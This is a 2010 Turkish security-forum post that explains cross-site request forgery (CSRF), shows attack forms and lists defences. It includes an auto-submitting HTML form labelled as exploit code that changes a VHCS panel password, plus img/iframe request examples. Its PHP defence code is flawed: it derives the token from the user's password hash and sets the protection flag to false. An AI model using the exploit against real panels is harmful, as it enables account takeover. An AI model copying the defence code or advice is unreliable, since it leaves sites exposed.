İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

CSRF Nedir - Nasıl Yapılır ve Korunulur ?

19-09-2010 15:15
#1
Üyelik tarihi:
05/2010
Nereden:
FF
Mesajlar:
1.861
Teşekkür (Etti):
102
Teşekkür (Aldı):
463
Konular:
572
Ticaret:
(0) %
CSRF (XSRF , Cross Site Request Forgery – Cross Site Reference Forgery ) Nedir?

Başlamadan Önce Size Kısaca bir Csrf(Xsrf) yani Cross Site Request Forgery Nedir ondan bahsetmek istiyorum. Cross Site Request Forgery (diğer adlarıyla XSRF, CSRF, ve Cross Site Reference Forgery) browserlerın javascript çalıştırma desteğiyle kişilere istenilenin dışında servera komut yollanmasını sağlayan kodlardır. Sitemiz veya sistemimiz bu komutlar için genel olarak url lerden yararlanır. (Örn:https://www.domainsite.com/managemen...men&submited=1) bizde bunu bildiğimiz için bundan yararlanıcaz veya formlar oluşturarak işlemimizi gerçekleştireceğiz. Zaten amacımızda bu işlemleri gerçekleştirebilecek yetkiye sahip kişileri oturum açmış durumdayken kullanarak onlar yerine kendi kodlarımızı güvenilir kodlarmış gibi kullanıcıyı kullanarak göndermektir.
Ve bu saldırıları html veya javascript kodları kullanarak işlemesini sağlayabiliriz.

Örnek:

Kod:
<img src=”https://www.domainsite.com/managemen...mited=1”>


Saldırı Şekilleri 1:

Saldırganımız önceden saldırı için hazırladığı sitemizi kurbana yollar kurban gezerken kurbanın domain sitesinde işlem yapması için ya bir teşvikte bulunabilir saldırganımız, online olduğu bir zamanı seçebilir ya da kurbanın işi çıkıp girebilir girdiği anda online olduğu için yani çevirim içi sitenin kod kısmına yerleştirilmiş olan

Örnek:

Kod:
<img src=” https://www.domainsite.com/managemen...mited=1”> , <iframe src=” https://www.domainsite.com/managemen...mited=1”>


gibi html kodları veya formlarla (javascript ile) saldırganımız kendi adına kişinin servera kodları yollamasını sağlar… Sonra olacak olan Şifrenin Değişmesidir. Bundan sonra saldırgan bunu ister başka bir java veya php codeyle işlemin gerçekleştiğini ya bir mail ile ya bir sniffer ile veya bilgisayarına bir log gönderterek öğrenmesi çok basit…







Ve kullanıcımızın tüm domainleri gidiyor. Neden? Çünkü kendisi için gerekli önlemleri almamış en basiti no-addon eklentisiyle mozilla’nın o javascript kodunun çalışmasını engelleyebilirdi html kodlarına da bilinmeyen bağlantıları engelleyerek önlem alabilirdi…

Saldırı Şekilleri 1:

Bu saldırı şeklimizde de yukarıda bahsettiğimiz formlarla saldırı şeklini kısaca gösterim…
Örneğin vhcs panelimizde bulunan bir csrf ile saldırganın neler yapabileceğini gösterim.
Exploit Code :

Kod:
<script type="text/javascript">
function seymen(){
********.forms[0].submit();
}
</script>

</HEAD>
<body onLoad="seymen()">
<seymen><html><body>
<form name="client_change_pass_frm" method="post" action="http://www.siteadress.com/admin/change_password.php">
<input type="password" name="pass" class="textinput"
value="passherre">
<input type="password" name="pass_rep" class="textinput" value="passhere">
<input type="hidden" name="uaction" value="updt_pass">
<input type="hidden" name="Submit" value="Update password">

</html></body></seymen>



Exploit kodumuz yukarda göründüğü gibidir burada javascript kodu yardımıyla saldırgan tarafından kullanıcıya .html şeklinde gönderilerek online yani aktif halde bulunan kullanıcının server a şifre değiştirme isteğinde bulunmasını sağlayabiliriz. Bunun sonucunda panel şifresi değişti. Yine kurban elindekini kaybetti… Kendinizde bu saldırı şekillerini çoğaltabilirsiniz ben en çok kullanılan 2 yöntemi gösterdim…

Xss ve Xsrf Arasındaki İlişki:

Xss ve xsrf birbirini çok iyi tamamlayabilir bunu şöyle izah ettiğimde sanırım herkes anlayabilir örn: bir sitenin şifre değişme üzerine yazılmış bir xsrf açığı varsa ve kullanıcı adı da gerekiyorsa bununda aynı sayfaya yerleştirilmiş xss koduyla kolaylıkla alabiliriz yani bu 2 saldırı yöntemi aslında birbirine çok yardımcı yöntemlerdir…

Xsrf Den Korunma Yöntemleri:

3 ve daha fazla yöntemi vardır şimdi bunları açıklıcam.

1.Csrf $_POST Token Koruması

Bunu sizlere adım adım anlatmam daha mantıklı ve de açıklayıcı geldiği için böyle anlatcam…
1. Adım:

Bu kodu tüm <form method="POST"> kodlarından sonra echo() içerisinde eklemeniz önemlidir:
Code:

Kod:
<input type="hidden" name="token" value="".$_SESSION['token']."" />



2. Adım:
Bu kodu config dosyanıza ekleyin
Code:

Kod:
if (isset($_USER['id'])) { // your function to check if a user is logged in
if (empty($_SESSION['token']) || !isset($_SESSION['token'])) { // if there is no token set
$_SESSION['token'] = strrev(md5($_USER['password'])); //set a token with a reverse string and md5 encryption of the user's password
}
if (CSRF_PROTECTED != false) { // if you did not define CSRF_PROTECTED as false
if ($_POST) { // if there is a form present
if ($_POST['token'] != $_SESSION['token']) { // if the input token does not equal the session token
header("................................: /index.php"); // redirect to index
die(); // stops all $_POST data from being sent
}
}
}
}



3. Adım:
Bu kodu da tüm include ile config dosyalarını çeken php dosyalarına ekleyiniz

Code:

Kod:
define("CSRF_PROTECTED", false);



2.Csrf Captcha Koruması:
Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) kısaca kişinin üye olurken veya bir işlemi yaparken karşısına çıkna değişken sayı ve rakamlardan oluşan resimlerdir. Bu resimleri bir form da gerekli yere yazmadığımız sürece o işlem tamamlanmayacağı için csrf saldırıları için bir koruma teşkil etmektedir. Ama bundan öncede eğerki bu kurulumu zaten gerçekleştirmek istiyorsanız etkili kullanımı olan bir captcha kullanmanızı öneririm çünkü bazı sistemler captcha koyduğu halde aynı kodlar gösterilip duruyor veya bu kodlar okunabiliyor bu hataya düştükten sonra hiçbir anlamı olmaz captcha yı kullanmanın…

3.Browser Güvenliği:
Bunla da çok güvenilir de olmasa da kendimizce bir güvenlik oluşturabiliriz Örn: javascript kodları ile yapılan saldırılara karşı javascript kodlarının çalışmasını önleyerek ve ya html kodlarıyla yapılan saldırılara karşı yönlenecek siteleri engelleyerek ve ya kendi belirlediğimiz kodların filtre ile süzmesini sağlayarak engellenebilir…

4. HTTP_REFERER ile Engelleme:
Yani sizin istemediğiniz url den gelen istekleri reddederek bu kodları yollayan kişiyi farklı bir sayfaya yönlendirme işlemi ile csrf yöntemlerini engelleme tekniğidir..
Bunu aşağıdaki kodlarla sağlayabiliriz Örneğin:


Kod:
<?php
if (strstr($_SERVER['HTTP_REFERER']," http://www.google.com ")) {
header ("................................: http://www.siteniz.com/index.php");
} else {
header ("................................: http://siteniz.com");
}
?>




Burada google.com dan gelmeyen bir isteği turk-hacking.org a yönlendirecek ama google.com dan gelen istege seymen.org u açacaktır bu kadar basit…

5.URL Rewrite:

URL Rewrite tekniği kısaca açıklamak gerekirse, sitemizdeki Url leri ?ID=30 şeklinden daha anlamlı olan baslik.html şekline çevirme işlemidir. Bunu yapmak uzun ve uğraşlı olabileceğinden ve tam sonuç alınamayacağından pek tavsiye edemem…

6.Get yerine Post kullanımı:

Get yerine Post kullanılması yukarıdaki birinci saldırıyı etkisiz kılmaya yarayabilir yani post kullanımında <img src=””> ile resim paylaşımına izin verilebilir buda yukarıdaki saldırının resim olarak gözükmesine ve de x yani yanlış url olduğunu belli etmesini sağlar fakat saldırgan bunu javascript kodlarıyla atlatabileceği için tavsiye edemem…

7.

Kod:
<input type=”hidden”>


ile Korunma:

Bu kodumuzla sitemizin kaynak kısmına yerleştirebileceğimiz çeşitli değişken değerler (Örn:md5, herhangi başka değerler) bu yöntemin etkisiz kalmasını sağlayabilir bu en çok tavsiye edebileceğim yöntemlerdendir…

Alıntıdır..



Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı